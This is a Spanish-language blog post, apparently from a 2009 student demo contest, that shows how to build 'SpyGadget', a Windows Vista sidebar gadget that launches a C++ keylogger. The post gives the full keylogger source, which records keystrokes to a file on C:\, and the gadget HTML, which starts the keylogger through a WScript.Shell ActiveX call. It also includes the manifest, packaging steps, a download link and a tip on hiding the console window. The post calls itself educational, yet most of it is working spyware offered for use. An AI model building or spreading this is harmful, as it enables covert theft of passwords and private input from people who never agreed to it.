•»Microsoft Developers ►Windows 7 ►Windows Vista

SpyGadget “ Keylogger para windows vista”

Hace apenas unos días acaba de terminar un evento al cual asistimos los mejores estudiantes de México que utilizamos y fomentamos las tecnologías Microsoft. Así es me refiero al SUMMIT 2009 de los Microsoft Student Partners; (mas info beatandbyte.com )en este evento hubo un concurso de DEMOS, y estuvo muy padre por que demostramos todo el conocimiento que tenemos en una sencilla aplicación, los competidores fueron muy buenos al mostrar sus demos ( Ángel Miguel, Norberto Rojas, Ángel Cruz, Felipe López, Erick Ruiz). Y al final quedamos en colgar la aplicación, así como el código en nuestro blog ^^  para los que estén interesados ( los MSP que nos evaluaron).

Antes que nada quiero decir que esta demo es mostrada de forma educativa nunca con algún fin maligno [Cada quien se hace responsable].

Para empezar quiero dejar en claro algunos conceptos:

image

 

Windows Gadget: Es una pequeña aplicación o programa, cuyo objetivo es dar fácil acceso a funciones frecuentemente usadas por el usuario así como proveer de información visual

 

image Keylogger: Un keylogger (registrador de teclas) es una herramienta de diagnóstico utilizada en el desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.

 

Lo que aremos será una aplicación Gadget de windows Vista que se ejecute y guarde un archivo log.txt en C:\ con todo lo que el usuario escriba en el teclado.

Ahora manos a la obra:

1.-

Crear un Keylogger con C++ en Visual Studio: Tan fácil como copiar y pegar el siguiente código en una aplicación de consola de Win32 en Microsoft Visual C++  (el código esta comentado).

image

Archivo: keylogger_gadget.cpp    Download

   1: // keytecladoger_gadget.cpp: define el punto de entrada de la aplicación de consola.
   2: //
   3:  
   4: #include "stdafx.h"
   5: #include <iostream>
   6: #include <windows.h>
   7: #include <fstream>
   8:  
   9: using namespace std;
  10:  
  11:  
  12: int _tmain(int argc, _TCHAR* argv[])
  13: {
  14:  
  15: bool monitor = true; //Variable del ciclo - que monitorea las entradas de teclado
  16: ofstream teclado; //Creamos la variable de "entrada de teclado" de tipo ofstream
  17: teclado.open("C:\\teclado.txt",ofstream::out|ofstream::app); //Creamos el archivo teclado.txt en modo de escritura
  18:  
  19: //Mensaje desplegado  -si se falla al crear el archivo.
  20: if(teclado.fail()){
  21:     cout<<" Error al escribir el log "<<endl;
  22: }
  23:  
  24: while(monitor){ //Ciclo para verificar cuando se presione una tecla
  25:         //LETRAS
  26:         if (GetAsyncKeyState('A') == -32767){
  27:             teclado << "A";
  28:         }
  29:  
  30:         if (GetAsyncKeyState('B') == -32767){
  31:             teclado << "B";
  32:         }
  33:  
  34:         if (GetAsyncKeyState('C') == -32767){
  35:             teclado << "C";
  36:         }
  37:  
  38:         if (GetAsyncKeyState('D') == -32767){
  39:             teclado << "D";
  40:         }
  41:  
  42:         if (GetAsyncKeyState('E') == -32767){
  43:             teclado << "E";
  44:         }
  45:  
  46:         if (GetAsyncKeyState('F') == -32767){
  47:             teclado << "F";
  48:         }
  49:  
  50:         if (GetAsyncKeyState('G') == -32767){
  51:             teclado << "G";
  52:         }
  53:  
  54:         if (GetAsyncKeyState('H') == -32767){
  55:             teclado << "H";
  56:         }
  57:  
  58:         if (GetAsyncKeyState('I') == -32767){
  59:             teclado << "I";
  60:         }
  61:  
  62:         if (GetAsyncKeyState('J') == -32767){
  63:             teclado << "J";
  64:         }
  65:  
  66:         if (GetAsyncKeyState('K') == -32767){
  67:             teclado << "K";
  68:         }
  69:  
  70:         if (GetAsyncKeyState('L') == -32767){
  71:             teclado << "L";
  72:         }
  73:  
  74:         if (GetAsyncKeyState('M') == -32767){
  75:             teclado << "M";
  76:         }
  77:  
  78:         if (GetAsyncKeyState('N') == -32767){
  79:             teclado << "N";
  80:         }
  81:         
  82:         if (GetAsyncKeyState('O') == -32767){
  83:             teclado << "O";
  84:         }
  85:  
  86:         if (GetAsyncKeyState('P') == -32767){
  87:             teclado << "P";
  88:         }
  89:  
  90:         if (GetAsyncKeyState('Q') == -32767){
  91:             teclado << "Q";
  92:         }
  93:  
  94:         if (GetAsyncKeyState('R') == -32767){
  95:             teclado << "R";
  96:         }
  97:  
  98:         if (GetAsyncKeyState('S') == -32767){
  99:             teclado << "S";
 100:         }
 101:  
 102:         if (GetAsyncKeyState('T') == -32767){
 103:             teclado << "T";
 104:         }
 105:  
 106:         if (GetAsyncKeyState('U') == -32767){
 107:             teclado << "U";
 108:         }
 109:  
 110:         if (GetAsyncKeyState('V') == -32767){
 111:             teclado << "V";
 112:         }
 113:  
 114:         if (GetAsyncKeyState('W') == -32767){
 115:             teclado << "W";
 116:         }
 117:  
 118:         if (GetAsyncKeyState('X') == -32767){
 119:             teclado << "X";
 120:         }
 121:  
 122:         if (GetAsyncKeyState('Y') == -32767){
 123:             teclado << "Y";
 124:         }
 125:  
 126:         if (GetAsyncKeyState('Z') == -32767){
 127:             teclado << "Z";
 128:         }       
 129:         //NUMEROS
 130:         if (GetAsyncKeyState('1') == -32767){
 131:             teclado << "1";
 132:         }
 133:  
 134:         if (GetAsyncKeyState('2') == -32767){
 135:             teclado << "2";
 136:         }
 137:  
 138:         if (GetAsyncKeyState('3') == -32767){
 139:             teclado << "3";
 140:         }
 141:  
 142:         if (GetAsyncKeyState('4') == -32767){
 143:             teclado << "4";
 144:         }
 145:  
 146:         if (GetAsyncKeyState('5') == -32767){
 147:             teclado << "5";
 148:         }
 149:  
 150:         if (GetAsyncKeyState('6') == -32767){
 151:             teclado << "6";
 152:         }
 153:  
 154:         if (GetAsyncKeyState('7') == -32767){
 155:             teclado << "7";
 156:         }
 157:  
 158:         if (GetAsyncKeyState('8') == -32767){
 159:             teclado << "8";
 160:         }
 161:  
 162:         if (GetAsyncKeyState('9') == -32767){
 163:             teclado << "9";
 164:         }
 165:  
 166:         if (GetAsyncKeyState('0') == -32767){
 167:             teclado << "0";
 168:         }
 169:         //teclas virtuales
 170:         if (GetAsyncKeyState(VK_SPACE) == -32767){
 171:             teclado << " ";
 172:         }
 173:  
 174:         if (GetAsyncKeyState(VK_CAPITAL) == -32767){
 175:             teclado << " Mayus-";
 176:         }
 177:  
 178:         if (GetAsyncKeyState(VK_BACK) == -32767){
 179:             teclado << " BACKSPACE ";
 180:         }
 181:  
 182:         if (GetAsyncKeyState(VK_LSHIFT) == -32767){
 183:             teclado << " SHIFT-";
 184:         }
 185:  
 186:         if (GetAsyncKeyState(VK_MENU) == -32767){
 187:             teclado << " ALT-";
 188:         }
 189:     
 190:     }
 191:     //Cerramos el Archivo para que almacene lo que escribimos
 192:     teclado.close(); //Cerramos el archivo para que guarde los cambios
 193:     return 0;
 194:     /*[+][+][+]*/
 195: }
 196:  

 

*Nota: En este código no esta incluida la opción de ocultar la consola al

ejecutar el programa, pero es muy sencillo utilizando la propiedad ShowWindow.

Una vez que tenemos nuestro Keylogger necesitamos colocar el archivo keylogger_gadget.exe en C:\ (puede ser en cualquier lugar, pero en este ejemplo será en el directorio raíz)

2.-

Ahora realizaremos el Gadget de Windows vista para esto usaremos 4 carpetas y y 3 archivos, a continuación su descripción:

Carpetas

SpyGadget.gadget – Carpeta principal que contendrá las carpetas css, js , images y los archivos Spy_gadget.html, Settings.html, gadget.xml

css – Contiene las hojas de estilo para nuestro Gadget. (en este ejemplo Spy_gadget.css )

js – Contiene los archivos js (JavaScript) de nuestro Gadget

images – Contiene las imágenes de nuestro Gadget

Archivos

Spy_gadget.html –Contiene el código html que define el cuerpo de mi Gadget

Código

   1: <html xmlns="http://www.w3.org/1999/xhtml">
   2: <head>
   3: <title>SpyGadget</title>
   4: </head>
   5: <body>
   6: <link href="../css/Spy_gadget.css" rel="stylesheet" type="text/css" >
   7: <script>
   8: function go() {
   9: w = new ActiveXObject("WScript.Shell");
  10: w.run('c:\keylogger_gadget.exe');
  11: return true;
  12: }
  13: </script>
  14: <form>
  15:    Iniciar Keylogger
  16: <input type="button" value="Go" 
  17: onClick="return go()">
  18: </form>
  19:  
  20: </body>
  21: </html>

 

Podemos ver que en la línea 8 definimos la función go() esta es la encargada de crear un Objeto del tipo ActiveX para llamar una aplicación de shell en este caso: ‘c:\keylogger_gadget.exe’ (línea 10).

En la línea 17 definimos la acción que al darle clic al botón llamamos la función go();

Settings.html – Contiene el código de las configuraciones del Gadget

(en este ejemplo lo dejaremos vacio)

gadget.xml – Es el archivo manifiesto XML que contiene las características del Gadget

 

   1: <?xml version="1.0" encoding="utf-8" ?>
   2: <gadget>
   3:     <name>Spy Gadget</name>
   4:     <namespace>Spy</namespace>
   5:     <version>1.0</version>
   6:     <author name="rubick">
   7:         <info url="http://gamer01.es.vg" />
   8:         <logo src="images/icon.png" />      
   9:     </author>
  10:     <copyright>©2009</copyright>
  11:     <description>SpyGadget</description>
  12:     <icons>
  13:     <icon height="200" width="200" src="images/icon.png" />
  14:   </icons>
  15:     <hosts>
  16:         <host name="sidebar">
  17:             <base type="HTML" apiVersion="1.0.0" src="Spy_gadget.html" />
  18:             <permissions>full</permissions>
  19:             <platform minPlatformVersion="0.3" />
  20:         </host>
  21:     </hosts>
  22: </gadget>

 

Este archivo es obligatorio para definir cualquier gadget, de aqui solo mensionare la linea importante que es: linea 17 src="Spy_gadget.html" indicamos que el archivo que contiene la base del Gadget.

Spy_gadget.css (contenido en la carpeta css) – Hoja de estilo que da diseño a mi gadget

 

   1: body
   2: {
   3:     width: 130px;
   4:     height:100px;
   5:     margin: 0px;
   6:     margin-top:15px;
   7: }

 

No hay mucho que explicar. width – ancho height – alto, defino el tamaño de mi Gadget

Archivo: SpyGadget.gadget.rar  Download

(Si deseas mas información para crear Gadget te recomiendo que visites los video tutoriales del blog amigo Nor o los archivos de ayuda de MSDN)

Con esto tenemos todo lo que necesitamos =) ahora a convertir nuestros archivos a un instalador de Gadget.

3.-

Para convertir todos nuestros archivos a un instalador de gadget es tan facil como seleccionar todos los archivos y enviarlos a una carpeta comprimida, una vez hecho esto seleccionamos el archivo ZIP y lo renombramos con la extencion *.gadget

image

image

Con eso termino el pequeño tutorial, si alguien tiene duda deje un comentario o contácteme por mail.

Descarga el Gadget Listo para instalar

http://cid-b6da429042310bfa.skydrive.live.com/self.aspx/P%c3%bablico/Blog%20darkchicles/SpyGadget/Spy%7C_gadget.gadget

*(No olvides colocar el archivo keylogger_gadget.exe en C:\)

 

Aquí dejo una presentación de Power Point con algunas explicaciones

«Pendiente»

Nota Final: En windows vista el archivo keylogger_gadget.exe debe ser ejecutado como administrador para poder guardar el log en C:\

  Gracias a todos loa friend’s del SUMMIT 2009 😉

2 comentarios

  1. Hola, Mira sera q podrias dejar mas detalladamente como funciona loq pasa es q tengo el keylloger exe y el gadget y ahora q?? como se q funcionan??

    Ademas al ejecutar el kaylloger exe me sale un error:
    C:KEYLOG-1.EXE
    TheNTVDM CPU has encountered an illegal instruction
    CS:11d4 IP:0283 OP:63 6c 61 64 6f Choose Close to terminate the apliccation

  2. Si tienes Windows vista recuerda ejecutar el archivo en modo administrador, Tal vez por eso el error al ejecutar el Keylog.

    ¿Como es que funciona?, funciona de una forma simple:
    Al instalar el SpyGadget y tener el keylogger_gadget.exe en C:/ , cada vez que se ejecute la SideBar de Windows ejecutara al SpyGadget y el SpyGadget a su vez, por medio de un javascript ejecutara el archivo keylogger_gadget.exe , siendo asi como el archivo keylogger_gadget.exe genera un txt en el cual se almacena todo lo que se ingrese por el teclado.

    Cualquier duda no dudes en comunicarte a mi correo «lo podras encontrar en la seccion ¿Quien es darkchicles?

Deja una respuesta

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Salir /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Salir /  Cambiar )

Conectando a %s

A %d blogueros les gusta esto: